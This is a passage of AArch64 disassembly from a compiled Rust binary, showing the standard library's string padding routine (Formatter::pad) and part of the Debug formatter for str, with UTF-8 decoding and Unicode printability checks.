82d10: 540000a1 b.ne 82d24 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x144> // b.any
82d14: 1400003b b 82e00 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x220>
82d18: aa1403ec mov x12, x20
82d1c: eb0a019f cmp x12, x10
82d20: 54000700 b.eq 82e00 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x220> // b.none
82d24: aa0c03ed mov x13, x12
82d28: 38c015ab ldrsb w11, [x13], #1
82d2c: 36f804cb tbz w11, #31, 82dc4 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x1e4>
82d30: 12001d6b and w11, w11, #0xff
82d34: eb0a01bf cmp x13, x10
82d38: 54000100 b.eq 82d58 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x178> // b.none
82d3c: 3940058e ldrb w14, [x12, #1]
82d40: 9100098d add x13, x12, #0x2
82d44: 120015cc and w12, w14, #0x3f
82d48: 531a658c lsl w12, w12, #6
82d4c: 7103817f cmp w11, #0xe0
82d50: 540000c2 b.cs 82d68 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x188> // b.hs, b.nlast
82d54: 1400001c b 82dc4 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x1e4>
82d58: 2a1f03ec mov w12, wzr
82d5c: aa0a03ed mov x13, x10
82d60: 7103817f cmp w11, #0xe0
82d64: 54000303 b.cc 82dc4 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x1e4> // b.lo, b.ul, b.last
82d68: eb0a01bf cmp x13, x10
82d6c: 540000c0 b.eq 82d84 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x1a4> // b.none
82d70: 384015ae ldrb w14, [x13], #1
82d74: 120015ce and w14, w14, #0x3f
82d78: 7103c17f cmp w11, #0xf0
82d7c: 540000c2 b.cs 82d94 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x1b4> // b.hs, b.nlast
82d80: 14000011 b 82dc4 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x1e4>
82d84: 2a1f03ee mov w14, wzr
82d88: aa0a03ed mov x13, x10
82d8c: 7103c17f cmp w11, #0xf0
82d90: 540001a3 b.cc 82dc4 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x1e4> // b.lo, b.ul, b.last
82d94: 2a0c01cc orr w12, w14, w12
82d98: eb0a01bf cmp x13, x10
82d9c: 54000080 b.eq 82dac <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x1cc> // b.none
82da0: 394001aa ldrb w10, [x13]
82da4: 1200154a and w10, w10, #0x3f
82da8: 14000002 b 82db0 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x1d0>
82dac: 2a1f03ea mov w10, wzr
82db0: 530e096b ubfiz w11, w11, #18, #3
82db4: 331a2d8b bfi w11, w12, #6, #12
82db8: 2a0a016a orr w10, w11, w10
82dbc: 7144415f cmp w10, #0x110, lsl #12
82dc0: 54000200 b.eq 82e00 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x220> // b.none
82dc4: b4000169 cbz x9, 82df0 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x210>
82dc8: eb13013f cmp x9, x19
82dcc: 540000e2 b.cs 82de8 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x208> // b.hs, b.nlast
82dd0: 38e96a8a ldrsb w10, [x20, x9]
82dd4: 3101015f cmn w10, #0x40
82dd8: 540000ca b.ge 82df0 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x210> // b.tcont
82ddc: aa1f03ea mov x10, xzr
82de0: aa1f03e9 mov x9, xzr
82de4: 14000004 b 82df4 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x214>
82de8: eb13013f cmp x9, x19
82dec: 54ffff81 b.ne 82ddc <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x1fc> // b.any
82df0: aa1403ea mov x10, x20
82df4: f100015f cmp x10, #0x0
82df8: 9a8a0294 csel x20, x20, x10, eq // eq = none
82dfc: 9a890273 csel x19, x19, x9, eq // eq = none
82e00: f100051f cmp x8, #0x1
82e04: 54000841 b.ne 82f0c <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x32c> // b.any
82e08: f9400408 ldr x8, [x0, #8]
82e0c: b40000d3 cbz x19, 82e24 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x244>
82e10: f100127f cmp x19, #0x4
82e14: 540000c2 b.cs 82e2c <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x24c> // b.hs, b.nlast
82e18: aa1f03eb mov x11, xzr
82e1c: aa1403e9 mov x9, x20
82e20: 14000029 b 82ec4 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x2e4>
82e24: aa1f03eb mov x11, xzr
82e28: 1400002e b 82ee0 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x300>
82e2c: 6f00e400 movi v0.2d, #0x0
82e30: 52800029 mov w9, #0x1 // #1
82e34: 0f060401 movi v1.2s, #0xc0
82e38: 927ef66a and x10, x19, #0xfffffffffffffffc
82e3c: 0f040402 movi v2.2s, #0x80
82e40: 91000a8b add x11, x20, #0x2
82e44: 4e080d23 dup v3.2d, x9
82e48: 8b0a0289 add x9, x20, x10
82e4c: aa0a03ec mov x12, x10
82e50: 4ea01c04 mov v4.16b, v0.16b
82e54: 385fe16d ldurb w13, [x11, #-2]
82e58: f100118c subs x12, x12, #0x4
82e5c: 3940016e ldrb w14, [x11]
82e60: 385ff16f ldurb w15, [x11, #-1]
82e64: 1e2701a5 fmov s5, w13
82e68: 3940056d ldrb w13, [x11, #1]
82e6c: 1e2701c6 fmov s6, w14
82e70: 9100116b add x11, x11, #0x4
82e74: 4e0c1de5 mov v5.s[1], w15
82e78: 4e0c1da6 mov v6.s[1], w13
82e7c: 0e211ca5 and v5.8b, v5.8b, v1.8b
82e80: 0e211cc6 and v6.8b, v6.8b, v1.8b
82e84: 2ea28ca5 cmeq v5.2s, v5.2s, v2.2s
82e88: 2ea28cc6 cmeq v6.2s, v6.2s, v2.2s
82e8c: 2e2058a5 mvn v5.8b, v5.8b
82e90: 2e2058c6 mvn v6.8b, v6.8b
82e94: 2f20a4a5 uxtl v5.2d, v5.2s
82e98: 2f20a4c6 uxtl v6.2d, v6.2s
82e9c: 4e231ca5 and v5.16b, v5.16b, v3.16b
82ea0: 4e231cc6 and v6.16b, v6.16b, v3.16b
82ea4: 4ee58400 add v0.2d, v0.2d, v5.2d
82ea8: 4ee68484 add v4.2d, v4.2d, v6.2d
82eac: 54fffd41 b.ne 82e54 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x274> // b.any
82eb0: 4ee08480 add v0.2d, v4.2d, v0.2d
82eb4: eb0a027f cmp x19, x10
82eb8: 5ef1b800 addp d0, v0.2d
82ebc: 9e66000b fmov x11, d0
82ec0: 54000100 b.eq 82ee0 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x300> // b.none
82ec4: 8b13028a add x10, x20, x19
82ec8: 3840152c ldrb w12, [x9], #1
82ecc: 121a058c and w12, w12, #0xc0
82ed0: 7102019f cmp w12, #0x80
82ed4: 9a8b056b cinc x11, x11, ne // ne = any
82ed8: eb0a013f cmp x9, x10
82edc: 54ffff61 b.ne 82ec8 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x2e8> // b.any
82ee0: eb0b0108 subs x8, x8, x11
82ee4: 54000149 b.ls 82f0c <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x32c> // b.plast
82ee8: 3940e009 ldrb w9, [x0, #56]
82eec: 71000d3f cmp w9, #0x3
82ef0: 1a8903e9 csel w9, wzr, w9, eq // eq = none
82ef4: 72000529 ands w9, w9, #0x3
82ef8: 540001e0 b.eq 82f34 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x354> // b.none
82efc: 7100053f cmp w9, #0x1
82f00: 54000201 b.ne 82f40 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x360> // b.any
82f04: aa1f03f8 mov x24, xzr
82f08: 14000012 b 82f50 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x370>
82f0c: a9422408 ldp x8, x9, [x0, #32]
82f10: aa1403e1 mov x1, x20
82f14: aa1303e2 mov x2, x19
82f18: a9434ff4 ldp x20, x19, [sp, #48]
82f1c: f9400d23 ldr x3, [x9, #24]
82f20: aa0803e0 mov x0, x8
82f24: a94257f6 ldp x22, x21, [sp, #32]
82f28: a9415ff8 ldp x24, x23, [sp, #16]
82f2c: a8c467fe ldp x30, x25, [sp], #64
82f30: d61f0060 br x3
82f34: aa0803f8 mov x24, x8
82f38: aa1f03e8 mov x8, xzr
82f3c: 14000005 b 82f50 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x370>
82f40: d341fd09 lsr x9, x8, #1
82f44: 9100050a add x10, x8, #0x1
82f48: aa0903e8 mov x8, x9
82f4c: d341fd58 lsr x24, x10, #1
82f50: a9425c15 ldp x21, x23, [x0, #32]
82f54: 91000519 add x25, x8, #0x1
82f58: b9403416 ldr w22, [x0, #52]
82f5c: f1000739 subs x25, x25, #0x1
82f60: 54000180 b.eq 82f90 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x3b0> // b.none
82f64: f94012e8 ldr x8, [x23, #32]
82f68: aa1503e0 mov x0, x21
82f6c: 2a1603e1 mov w1, w22
82f70: d63f0100 blr x8
82f74: 3607ff40 tbz w0, #0, 82f5c <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x37c>
82f78: 52800020 mov w0, #0x1 // #1
82f7c: a9434ff4 ldp x20, x19, [sp, #48]
82f80: a94257f6 ldp x22, x21, [sp, #32]
82f84: a9415ff8 ldp x24, x23, [sp, #16]
82f88: a8c467fe ldp x30, x25, [sp], #64
82f8c: d65f03c0 ret
82f90: 714442df cmp w22, #0x110, lsl #12
82f94: 9a9803f8 csel x24, xzr, x24, eq // eq = none
82f98: 540000e1 b.ne 82fb4 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x3d4> // b.any
82f9c: 52800020 mov w0, #0x1 // #1
82fa0: a9434ff4 ldp x20, x19, [sp, #48]
82fa4: a94257f6 ldp x22, x21, [sp, #32]
82fa8: a9415ff8 ldp x24, x23, [sp, #16]
82fac: a8c467fe ldp x30, x25, [sp], #64
82fb0: d65f03c0 ret
82fb4: f9400ee8 ldr x8, [x23, #24]
82fb8: aa1503e0 mov x0, x21
82fbc: aa1403e1 mov x1, x20
82fc0: aa1303e2 mov x2, x19
82fc4: d63f0100 blr x8
82fc8: 360000e0 tbz w0, #0, 82fe4 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x404>
82fcc: 52800020 mov w0, #0x1 // #1
82fd0: a9434ff4 ldp x20, x19, [sp, #48]
82fd4: a94257f6 ldp x22, x21, [sp, #32]
82fd8: a9415ff8 ldp x24, x23, [sp, #16]
82fdc: a8c467fe ldp x30, x25, [sp], #64
82fe0: d65f03c0 ret
82fe4: aa1f03f3 mov x19, xzr
82fe8: eb13031f cmp x24, x19
82fec: 54000120 b.eq 83010 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x430> // b.none
82ff0: f94012e8 ldr x8, [x23, #32]
82ff4: aa1503e0 mov x0, x21
82ff8: 2a1603e1 mov w1, w22
82ffc: 91000673 add x19, x19, #0x1
83000: d63f0100 blr x8
83004: 34ffff20 cbz w0, 82fe8 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x408>
83008: d1000668 sub x8, x19, #0x1
8300c: 14000002 b 83014 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x434>
83010: aa1803e8 mov x8, x24
83014: eb18011f cmp x8, x24
83018: 1a9f27e0 cset w0, cc // cc = lo, ul, last
8301c: a9434ff4 ldp x20, x19, [sp, #48]
83020: a94257f6 ldp x22, x21, [sp, #32]
83024: a9415ff8 ldp x24, x23, [sp, #16]
83028: a8c467fe ldp x30, x25, [sp], #64
8302c: d65f03c0 ret
0000000000083030 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E>:
83030: d10283ff sub sp, sp, #0xa0
83034: a9094ff4 stp x20, x19, [sp, #144]
83038: a9422054 ldp x20, x8, [x2, #32]
8303c: a9047bfd stp x29, x30, [sp, #64]
83040: a9056ffc stp x28, x27, [sp, #80]
83044: f9401102 ldr x2, [x8, #32]
83048: a90207e8 stp x8, x1, [sp, #32]
8304c: 52800441 mov w1, #0x22 // #34
83050: a90667fa stp x26, x25, [sp, #96]
83054: a9075ff8 stp x24, x23, [sp, #112]
83058: a9030be0 stp x0, x2, [sp, #48]
8305c: aa1403e0 mov x0, x20
83060: a90857f6 stp x22, x21, [sp, #128]
83064: d63f0040 blr x2
83068: 36000140 tbz w0, #0, 83090 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x60>
8306c: a9494ff4 ldp x20, x19, [sp, #144]
83070: 52800020 mov w0, #0x1 // #1
83074: a94857f6 ldp x22, x21, [sp, #128]
83078: a9475ff8 ldp x24, x23, [sp, #112]
8307c: a94667fa ldp x26, x25, [sp, #96]
83080: a9456ffc ldp x28, x27, [sp, #80]
83084: a9447bfd ldp x29, x30, [sp, #64]
83088: 910283ff add sp, sp, #0xa0
8308c: d65f03c0 ret
83090: f94017eb ldr x11, [sp, #40]
83094: b40026cb cbz x11, 8356c <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x53c>
83098: f9401be8 ldr x8, [sp, #48]
8309c: f000001c adrp x28, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
830a0: f000000c adrp x12, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
830a4: aa1f03f8 mov x24, xzr
830a8: aa1f03f5 mov x21, xzr
830ac: 52800e96 mov w22, #0x74 // #116
830b0: 91282b9c add x28, x28, #0xa0a
830b4: 52800b9d mov w29, #0x5c // #92
830b8: 8b0b011a add x26, x8, x11
830bc: aa0803e9 mov x9, x8
830c0: aa0803ea mov x10, x8
830c4: 9127c18c add x12, x12, #0x9f0
830c8: f90007fa str x26, [sp, #8]
830cc: aa0a03e8 mov x8, x10
830d0: f9000be9 str x9, [sp, #16]
830d4: 38c01509 ldrsb w9, [x8], #1
830d8: 12001d20 and w0, w9, #0xff
830dc: 37f80069 tbnz w9, #31, 830e8 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0xb8>
830e0: aa0803ed mov x13, x8
830e4: 1400002c b 83194 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x164>
830e8: eb1a011f cmp x8, x26
830ec: 54000260 b.eq 83138 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x108> // b.none
830f0: 39400548 ldrb w8, [x10, #1]
830f4: 9100094d add x13, x10, #0x2
830f8: 1200150a and w10, w8, #0x3f
830fc: 12001008 and w8, w0, #0x1f
83100: 71037c1f cmp w0, #0xdf
83104: 54000249 b.ls 8314c <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x11c> // b.plast
83108: eb1a01bf cmp x13, x26
8310c: 54000260 b.eq 83158 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x128> // b.none
83110: 384015a9 ldrb w9, [x13], #1
83114: 12001529 and w9, w9, #0x3f
83118: 331a1549 bfi w9, w10, #6, #6
8311c: 7103c01f cmp w0, #0xf0
83120: 54000263 b.cc 8316c <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x13c> // b.lo, b.ul, b.last
83124: eb1a01bf cmp x13, x26
83128: 54000280 b.eq 83178 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x148> // b.none
8312c: 384015aa ldrb w10, [x13], #1
83130: 1200154a and w10, w10, #0x3f
83134: 14000013 b 83180 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x150>
83138: 2a1f03ea mov w10, wzr
8313c: aa1a03ed mov x13, x26
83140: 12001008 and w8, w0, #0x1f
83144: 71037c1f cmp w0, #0xdf
83148: 54fffe08 b.hi 83108 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0xd8> // b.pmore
8314c: 331a110a bfi w10, w8, #6, #5
83150: 2a0a03e0 mov w0, w10
83154: 14000010 b 83194 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x164>
83158: 2a1f03e9 mov w9, wzr
8315c: aa1a03ed mov x13, x26
83160: 331a1549 bfi w9, w10, #6, #6
83164: 7103c01f cmp w0, #0xf0
83168: 54fffde2 b.cs 83124 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0xf4> // b.hs, b.nlast
8316c: 33141109 bfi w9, w8, #12, #5
83170: 2a0903e0 mov w0, w9
83174: 14000008 b 83194 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x164>
83178: 2a1f03ea mov w10, wzr
8317c: aa1a03ed mov x13, x26
83180: 530e0908 ubfiz w8, w8, #18, #3
83184: 331a2d28 bfi w8, w9, #6, #12
83188: 2a0a0100 orr w0, w8, w10
8318c: 7144401f cmp w0, #0x110, lsl #12
83190: 54001dc0 b.eq 83548 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x518> // b.none
83194: 51002408 sub w8, w0, #0x9
83198: b9001fe0 str w0, [sp, #28]
8319c: 7100651f cmp w8, #0x19
831a0: 54000148 b.hi 831c8 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x198> // b.pmore
831a4: 100000c9 adr x9, 831bc <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x18c>
831a8: 3868698a ldrb w10, [x12, x8]
831ac: 8b0a0929 add x9, x9, x10, lsl #2
831b0: 52800053 mov w19, #0x2 // #2
831b4: 2a1603f7 mov w23, w22
831b8: d61f0120 br x9
831bc: 52800053 mov w19, #0x2 // #2
831c0: 52800dd7 mov w23, #0x6e // #110
831c4: 14000069 b 83368 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x338>
831c8: 7101701f cmp w0, #0x5c
831cc: 54000081 b.ne 831dc <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x1ac> // b.any
831d0: 52800053 mov w19, #0x2 // #2
831d4: 2a0003f7 mov w23, w0
831d8: 14000064 b 83368 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x338>
831dc: f90003ed str x13, [sp]
831e0: 97fff7e8 bl 81180 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E>
831e4: b9401fea ldr w10, [sp, #28]
831e8: 37000ac0 tbnz w0, #0, 83340 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x310>
831ec: 7140415f cmp w10, #0x10, lsl #12
831f0: 54000242 b.cs 83238 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x208> // b.hs, b.nlast
831f4: f0000001 adrp x1, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
831f8: f0000003 adrp x3, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
831fc: f0000005 adrp x5, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
83200: 2a0a03e0 mov w0, w10
83204: 910b2021 add x1, x1, #0x2c8
83208: 52800522 mov w2, #0x29 // #41
8320c: 910c6863 add x3, x3, #0x31a
83210: 52802444 mov w4, #0x122 // #290
83214: 9110f0a5 add x5, x5, #0x43c
83218: 528026a6 mov w6, #0x135 // #309
8321c: 97fff979 bl 81800 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780>
83220: b9401fea ldr w10, [sp, #28]
83224: 360008e0 tbz w0, #0, 83340 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x310>
83228: 1400003b b 83314 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x2e4>
8322c: 52800053 mov w19, #0x2 // #2
83230: 52800e57 mov w23, #0x72 // #114
83234: 1400004d b 83368 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x338>
83238: 7140815f cmp w10, #0x20, lsl #12
8323c: 540001e2 b.cs 83278 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x248> // b.hs, b.nlast
83240: f0000001 adrp x1, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
83244: f0000003 adrp x3, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
83248: f0000005 adrp x5, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
8324c: 2a0a03e0 mov w0, w10
83250: 9115c421 add x1, x1, #0x571
83254: 528004c2 mov w2, #0x26 // #38
83258: 9116f463 add x3, x3, #0x5bd
8325c: 528015e4 mov w4, #0xaf // #175
83260: 9119b0a5 add x5, x5, #0x66c
83264: 52803466 mov w6, #0x1a3 // #419
83268: 97fff966 bl 81800 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780>
8326c: b9401fea ldr w10, [sp, #28]
83270: 37000520 tbnz w0, #0, 83314 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x2e4>
83274: 14000033 b 83340 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x310>
83278: 528b2448 mov w8, #0x5922 // #22818
8327c: 72bfffa8 movk w8, #0xfffd, lsl #16
83280: 0b080148 add w8, w10, w8
83284: 7100891f cmp w8, #0x22
83288: 540005c3 b.cc 83340 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x310> // b.lo, b.ul, b.last
8328c: 52891968 mov w8, #0x48cb // #18635
83290: 72bfffa8 movk w8, #0xfffd, lsl #16
83294: 0b080148 add w8, w10, w8
83298: 71002d1f cmp w8, #0xb
8329c: 54000523 b.cc 83340 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x310> // b.lo, b.ul, b.last
832a0: 529703c9 mov w9, #0xb81e // #47134
832a4: 121f4d48 and w8, w10, #0x1ffffe
832a8: 72a00049 movk w9, #0x2, lsl #16
832ac: 6b09011f cmp w8, w9
832b0: 54000480 b.eq 83340 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x310> // b.none
832b4: 52862bc8 mov w8, #0x315e // #12638
832b8: 72bfffa8 movk w8, #0xfffd, lsl #16
832bc: 0b080148 add w8, w10, w8
832c0: 7100391f cmp w8, #0xe
832c4: 540003e3 b.cc 83340 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x310> // b.lo, b.ul, b.last
832c8: 5280bc48 mov w8, #0x5e2 // #1506
832cc: 72bfffa8 movk w8, #0xfffd, lsl #16
832d0: 0b080148 add w8, w10, w8
832d4: 1138f509 add w9, w8, #0xe3d
832d8: 71307d3f cmp w9, #0xc1f
832dc: 54000323 b.cc 83340 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x310> // b.lo, b.ul, b.last
832e0: 7117891f cmp w8, #0x5e2
832e4: 540002e3 b.cc 83340 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x310> // b.lo, b.ul, b.last
832e8: 529d96a8 mov w8, #0xecb5 // #60597
832ec: 529db6a9 mov w9, #0xedb5 // #60853
832f0: 72bfff88 movk w8, #0xfffc, lsl #16
832f4: 72a00149 movk w9, #0xa, lsl #16
832f8: 0b080148 add w8, w10, w8
832fc: 6b09011f cmp w8, w9
83300: 54000203 b.cc 83340 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x310> // b.lo, b.ul, b.last
83304: 52803e08 mov w8, #0x1f0 // #496
83308: 72a001c8 movk w8, #0xe, lsl #16
8330c: 6b08015f cmp w10, w8
83310: 54000182 b.cs 83340 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x310> // b.hs, b.nlast
83314: f94017eb ldr x11, [sp, #40]
83318: f000000c adrp x12, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
8331c: f9400be9 ldr x9, [sp, #16]
83320: 9127c18c add x12, x12, #0x9f0
83324: f94003ea ldr x10, [sp]
83328: cb0902a8 sub x8, x21, x9
8332c: aa0a03e9 mov x9, x10
83330: 8b0a0115 add x21, x8, x10
83334: eb1a015f cmp x10, x26
83338: 54ffeca1 b.ne 830cc <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x9c> // b.any
8333c: 14000083 b 83548 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x518>
83340: 32000148 orr w8, w10, #0x1
83344: 2a0a03e9 mov w9, w10
83348: 5ac01108 clz w8, w8
8334c: f94017eb ldr x11, [sp, #40]
83350: 53027d08 lsr w8, w8, #2
83354: 5200091b eor w27, w8, #0x7
83358: d2c000a8 mov x8, #0x500000000 // #21474836480
8335c: f94003ed ldr x13, [sp]
83360: aa080139 orr x25, x9, x8
83364: 52800073 mov w19, #0x3 // #3
83368: eb1802bf cmp x21, x24
8336c: 540013c3 b.cc 835e4 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x5b4> // b.lo, b.ul, b.last
83370: b4000138 cbz x24, 83394 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x364>
83374: eb0b031f cmp x24, x11
83378: 540000c2 b.cs 83390 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x360> // b.hs, b.nlast
8337c: f9401be8 ldr x8, [sp, #48]
83380: 38f86908 ldrsb w8, [x8, x24]
83384: 3101011f cmn w8, #0x40
83388: 5400006a b.ge 83394 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x364> // b.tcont
8338c: 14000096 b 835e4 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x5b4>
83390: 540012a1 b.ne 835e4 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x5b4> // b.any
83394: b4000135 cbz x21, 833b8 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x388>
83398: eb0b02bf cmp x21, x11
8339c: 54000122 b.cs 833c0 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x390> // b.hs, b.nlast
833a0: f9401be8 ldr x8, [sp, #48]
833a4: aa1503fa mov x26, x21
833a8: 38f56908 ldrsb w8, [x8, x21]
833ac: 3101051f cmn w8, #0x41
833b0: 540000cc b.gt 833c8 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x398>
833b4: 1400008c b 835e4 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x5b4>
833b8: aa1f03fa mov x26, xzr
833bc: 14000003 b 833c8 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x398>
833c0: aa0b03fa mov x26, x11
833c4: 54001101 b.ne 835e4 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x5b4> // b.any
833c8: f94013e8 ldr x8, [sp, #32]
833cc: cb180342 sub x2, x26, x24
833d0: f9401be9 ldr x9, [sp, #48]
833d4: aa1403e0 mov x0, x20
